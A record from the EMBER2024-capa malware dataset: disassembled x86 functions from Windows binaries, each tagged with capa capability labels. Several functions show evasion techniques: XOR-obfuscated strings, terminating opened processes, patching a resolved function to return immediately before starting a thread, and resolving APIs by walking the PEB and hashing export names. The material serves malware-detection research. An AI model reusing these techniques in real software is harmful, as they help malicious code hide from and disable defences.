joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d5c06
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4d5c3e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004d3cbd
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004d3c95
jmp 0x4d5c4a
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4d72f7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4d7339
call fcn.004dcdab
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4d7339
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4d7330
xor eax, eax
jmp 0x4d7341
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004d7347
pop edi
pop esi
pop ebx
ret 4

Function at 0x4dd2db
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4dd309
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4dd327
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004dd241
jmp 0x4dd327
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4dd327
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004dd241
test edi, edi
mov eax, edi
jne 0x4dd311
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10003c00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100130c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x10003cbc
cmp byte [esi + 0x3d], 0
je 0x10003cbc
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x10003caa
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10003c71
sub eax, 1
je 0x10003c75
sub eax, 2
jne 0x10003caa
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bfb5
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10003c93
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10003caa
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bfb5
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bfb5
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.1000bfb5
mov esp, ebp
pop ebp
ret
Function at 0x100054b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test ecx, ecx
jg 0x100054da
jl 0x100054ce
test eax, eax
jne 0x100054da
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x100054f3
push ecx
push eax
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push edi
mov ecx, ebx
mov edi, eax
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const]
mov ecx, eax
test ecx, ecx
je 0x10005538
mov esi, dword [ebp + 0xc]
cmp ecx, esi
cmovb esi, ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const]
mov edi, dword [ebp - 4]
push esi
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
add edi, esi
add esp, 0xc
mov dword [ebp - 4], edi
mov ecx, ebx
mov edi, dword [ebp + 0xc]
sub edi, esi
push esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int_]
mov esi, dword [ebp - 4]
cmp dword [ebx + 0x4c], 0
je 0x100055a8
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const]
lea ecx, [ebx + 0x3c]
cmp eax, ecx
jne 0x1000555d
push dword [ebx + 0x54]
mov eax, dword [ebx + 0x50]
mov ecx, ebx
push eax
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char___char___char__]
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ecx, edi
cmp edi, 0xfff
jbe 0x10005596
nop dword [eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x100055a8
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x10005570
test ecx, ecx
je 0x100055a8
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100055c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x100055e5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x10005650
jg 0x1000560b
test esi, esi
je 0x10005650
test ecx, ecx
jl 0x1000568a
jg 0x10005615
test eax, eax
je 0x1000568a
cmp edi, ecx
jg 0x10005625
jl 0x1000561f
cmp esi, eax
jae 0x10005625
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp + 0x10]
add esp, 0xc
add dword [ebp + 8], ecx
sub esi, ecx
sbb edi, dword [ebp - 4]
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
mov eax, dword [ebp + 8]
test edi, edi
jl 0x10005677
jg 0x1000565d
test esi, esi
je 0x10005677
mov ecx, dword [ebx + 0x4c]
test ecx, ecx
je 0x10005677
push ecx
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 8]
jmp 0x1000565d

Function at 0x10005690
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000d0cd
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x100130c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 4
call fcn.1000bfc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x100056ce
mov eax, dword [ebp + 8]
mov dword [ecx], eax
jmp 0x100056d0
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea edi, [esi + 4]
mov dword [ebp - 4], 0
push edi
push 0
push ecx
push 0x10005920
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x1000570e
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
push 6
mov dword [edi], 0
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
Function at 0x10006560
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, 0xb94
mov edx, 0xbdf
push ebx
push esi
mov dword [ebp - 4], eax
xorps xmm0, xmm0
xor dx, word [ebp - 4]
lea esi, [eax + 0x41]
mov word [ebp - 0x26], dx
lea ebx, [eax + 0x49]
push edi
lea edi, [eax + 0x42]
mov word [ebp - 0x28], ax
lea eax, [esi - 4]
mov edx, 0xb94
lea ecx, [esi - 9]
xor si, dx
mov word [ebp - 0x24], si
mov esi, edx
mov edx, 0xbc7
xor cx, si
xor dx, si
mov word [ebp - 0x18], cx
mov word [ebp - 0x1e], dx
lea ecx, [ebp - 0x26]
mov edx, 0xbba
xor di, si
xor dx, si
mov word [ebp - 0x22], di
mov word [ebp - 0x1c], dx
xor bx, si
mov edx, eax
mov word [ebp - 0x20], bx
xor ax, si
xor dx, si
mov word [ebp - 0x16], ax
lea esi, [ecx + 2]
xor eax, eax
mov word [ebp - 0x1a], dx
sub esp, 0x18
mov word [ebp - 0x14], ax
mov edx, esp
movups xmmword [edx], xmm0
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10006600
sub ecx, esi
lea eax, [ebp - 0x26]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.10005870
call fcn.100067d0
add esp, 0x18
mov dword [ebp - 0x10], eax
mov cl, 0x7d
mov dword [ebp - 0x24], 0xbcbdb77d
mov dword [ebp - 0x20], 0x3e53acb5
xor eax, eax
mov dword [ebp - 0x1c], 0x111c091c
mov word [ebp - 0x18], 0x1a12
mov byte [ebp - 0x16], 0
nop dword [eax]
xor byte [ebp + eax - 0x23], cl
inc eax
cmp eax, 0xd
jae 0x1000665f
mov cl, byte [ebp - 0x24]
jmp 0x10006650
sub esp, 0x18
mov byte [ebp - 0x16], 0
mov edx, esp
lea ecx, [ebp - 0x23]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10006682
sub ecx, esi
lea eax, [ebp - 0x23]
push ecx
push eax
mov ecx, edx
call fcn.100020e0
call fcn.10006aa0
movaps xmm0, xmmword [0x1000e530]
add esp, 0x18
mov dword [ebp - 0xc], eax
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x66
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x100066b5
sub esp, 0x18
mov byte [ebp - 0x13], 0
mov edx, esp
lea ecx, [ebp - 0x23]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100066e5
sub ecx, esi
lea eax, [ebp - 0x23]
push ecx
push eax
mov ecx, edx
call fcn.100020e0
call fcn.10006740
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
add esp, 0x18
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
mov dword [ebp - 8], eax
mov eax, dword [ebp + esi*4 - 0x10]
test eax, eax
je 0x1000672e
push 1
push eax
push 0
push 0x1fffff
call ebx
push eax
call edi
test eax, eax
jne 0x10006734
inc esi
cmp esi, 3
jb 0x10006713
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007a90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, 0x55d4
mov byte [ebp - 1], 0
push ebx
push esi
mov dword [ebp - 8], eax
mov edx, 0x559f
xor dx, word [ebp - 8]
lea esi, [eax - 0x3f]
mov word [ebp - 0x2a], dx
lea ebx, [eax - 0x37]
push edi
lea edi, [eax - 0x3e]
mov word [ebp - 0x2c], ax
lea eax, [esi - 4]
mov edx, 0x55d4
lea ecx, [esi - 9]
xorps xmm0, xmm0
xor si, dx
mov word [ebp - 0x28], si
mov esi, edx
mov edx, 0x5587
xor cx, si
xor dx, si
mov word [ebp - 0x1c], cx
mov word [ebp - 0x22], dx
lea ecx, [ebp - 0x2a]
mov edx, 0x55fa
xor di, si
xor dx, si
mov word [ebp - 0x26], di
mov word [ebp - 0x20], dx
xor bx, si
mov edx, eax
mov word [ebp - 0x24], bx
xor ax, si
xor dx, si
mov word [ebp - 0x1a], ax
lea esi, [ecx + 2]
xor eax, eax
mov word [ebp - 0x1e], dx
sub esp, 0x18
mov word [ebp - 0x18], ax
mov edx, esp
movups xmmword [edx], xmm0
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10007b30
sub ecx, esi
lea eax, [ebp - 0x2a]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.10005870
call fcn.100067d0
add esp, 0x18
mov dword [ebp - 0x14], eax
mov cl, 0x43
mov dword [ebp - 0x28], 0x82838943
mov dword [ebp - 0x24], 0x6d928b
xor eax, eax
mov dword [ebp - 0x20], 0x2f223722
mov word [ebp - 0x1c], 0x242c
mov byte [ebp - 0x1a], 0
nop dword [eax]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xd
jae 0x10007b8f
mov cl, byte [ebp - 0x28]
jmp 0x10007b80
sub esp, 0x18
mov byte [ebp - 0x1a], 0
mov edx, esp
lea ecx, [ebp - 0x27]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007bb2
sub ecx, esi
lea eax, [ebp - 0x27]
push ecx
push eax
mov ecx, edx
call fcn.100020e0
call fcn.10006aa0
movaps xmm0, xmmword [0x1000e550]
add esp, 0x18
mov dword [ebp - 0x10], eax
xor ecx, ecx
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x62
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x10
jb 0x10007be5
sub esp, 0x18
mov byte [ebp - 0x17], 0
mov edx, esp
lea ecx, [ebp - 0x27]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007c15
sub ecx, esi
lea eax, [ebp - 0x27]
push ecx
push eax
mov ecx, edx
call fcn.100020e0
call fcn.10006740
add esp, 0x18
mov dword [ebp - 0xc], eax
xor ecx, ecx
cmp dword [ebp + ecx*4 - 0x14], 0
jne 0x10007c4e
inc ecx
cmp ecx, 3
jb 0x10007c37
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009510
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10009520
mov edi, dword [ebp + 0xc]
sub esi, ecx
lea ecx, [edi + 1]
nop
mov al, byte [edi]
inc edi
test al, al
jne 0x10009530
lea eax, [esi + 1]
sub edi, ecx
push eax
call fcn.1000c05e
add esp, 4
mov dword [ebp - 4], eax
xor ebx, ebx
test esi, esi
je 0x1000957b
sub dword [ebp + 8], eax
lea ecx, [ebx + eax]
xor edx, edx
mov eax, ebx
inc ebx
div edi
mov eax, dword [ebp + 0xc]
mov al, byte [edx + eax]
mov edx, dword [ebp + 8]
xor al, byte [ecx + edx]
mov byte [ecx], al
mov eax, dword [ebp - 4]
cmp ebx, esi
jb 0x10009551
pop edi
mov byte [eax + esi], 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov byte [eax + esi], bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009590
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea ecx, [esi + 2]
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x100095a0
mov edi, dword [ebp + 0xc]
sub esi, ecx
sar esi, 1
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x100095b5
sub edi, ecx
lea eax, [esi + 1]
xor ecx, ecx
sar edi, 1
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000c05e
add esp, 4
mov dword [ebp - 4], eax
xor ebx, ebx
test esi, esi
je 0x10009614
sub dword [ebp + 8], eax
mov ecx, eax
nop
xor edx, edx
lea ecx, [ecx + 2]
mov eax, ebx
inc ebx
div edi
mov eax, dword [ebp + 0xc]
mov ax, word [eax + edx*2]
mov edx, dword [ebp + 8]
xor ax, word [ecx + edx - 2]
mov word [ecx - 2], ax
cmp ebx, esi
jb 0x100095f0
mov eax, dword [ebp - 4]
xor ecx, ecx
pop edi
mov word [eax + esi*2], cx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a240
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100130c0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x1000a350
push ebx
mov byte [ebp - 0x18], 0x47
mov al, 0x29
xor al, byte [ebp - 0x18]
mov bl, 0x2b
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x23
mov bh, ah
mov byte [ebp - 9], ah
mov dh, dl
mov byte [ebp - 0xe], 0
xor dl, al
mov dword [0x10013558], edi
xor bl, al
mov byte [ebp - 0x15], dl
xor ah, al
mov byte [ebp - 0x14], bl
xor dh, al
mov byte [ebp - 0x13], ah
xor bh, al
mov byte [ebp - 0x11], dh
mov cl, 0x33
mov byte [ebp - 0x10], bh
xor cl, al
mov byte [ebp - 0xe], 0
mov ch, 0x69
mov byte [ebp - 0x16], cl
xor ch, al
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x17]
push eax
mov byte [ebp - 0x12], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
pop ebx
test edx, edx
je 0x1000a333
mov cl, 0x4a
mov dword [ebp - 0x28], 0x2d280e4a
mov dword [ebp - 0x24], 0x2b2f3808
xor eax, eax
mov dword [ebp - 0x20], 0x23251a21
mov word [ebp - 0x1c], 0x3e24
mov byte [ebp - 0x1a], 0
nop dword [eax]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xd
jae 0x1000a2ff
mov cl, byte [ebp - 0x28]
jmp 0x1000a2f0
push esi
lea eax, [ebp - 0x27]
mov byte [ebp - 0x1a], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x1000a332
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 1
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000a332
mov byte [esi], 0xc3
pop esi
call fcn.10007a90
test al, al
je 0x1000a350
push 0
push 0
push edi
push 0x10009250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1000bfb5
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000a370
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x100130c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x2c8
lea eax, [ebp - 0x2cc]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword fs:[0x30]
add esp, 0xc
mov dword [ebp - 0x2d0], 0x10010
mov eax, dword [eax + 0xc]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x2d8], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x2d4], ecx
cmp ecx, edx
je 0x1000a419
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x1000a419
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0xeea5c96b
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x1000a412
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x1000a3f5
cmp esi, 0xe537b29e
je 0x1000a41d
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x1000a3e0
mov eax, dword [eax]
jmp 0x1000a3b2
mov esi, dword [ebp - 0x2d4]
mov edx, dword [ebp - 0x2d8]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x2dc], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x2d4], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x2d8], eax
cmp eax, esi
je 0x1000a4b9
mov edi, dword [eax + 0x18]
test edi, edi
je 0x1000a4b9
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
nop
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0xe18322b2
mov al, byte [edx]
inc edx
test al, al
je 0x1000a4b2
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x1000a495
cmp esi, 0xe8365a75
je 0x1000a4bd
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x1000a480
mov ecx, dword [ecx]
jmp 0x1000a453
mov esi, dword [ebp - 0x2d8]
mov edx, dword [ebp - 0x2d4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x2d0]
push ecx
push dword [ebp - 0x2dc]
add eax, edx
call eax
pop edi
pop esi
pop ebx
test eax, eax
jne 0x1000a505
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bfb5
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x2cc], 0
mov ecx, 1
mov eax, 0
cmovne eax, ecx
cmp dword [ebp - 0x2c8], 0
je 0x1000a523
inc eax
cmp dword [ebp - 0x2c4], 0
je 0x1000a52d
inc eax
cmp dword [ebp - 0x2c0], 0
je 0x1000a537
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bfb5
mov esp, ebp
pop ebp
ret
Function at 0x1000af20
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x100130c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x1fc], eax
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x1fc], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x200], ecx
cmp ecx, edx
je 0x1000afb9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x1000afb9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0xf83e369d
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x1000afb2
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x1000af95
cmp esi, 0xca908eab
je 0x1000afbd
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x1000af80
mov eax, dword [eax]
jmp 0x1000af51
mov esi, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1fc]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x1f8]
push ecx
add eax, edx
push 0x1f4
call eax
mov ebx, dword [ebp - 0x204]
lea ecx, [ebp - 0x1f8]
xorps xmm0, xmm0
lea edx, [ecx + 1]
movups xmmword [ebx], xmm0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b010
sub ecx, edx
lea eax, [ebp - 0x1f8]
push ecx
push eax
mov ecx, ebx
call fcn.100020e0
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000bfb5
mov esp, ebp
pop ebp
ret 4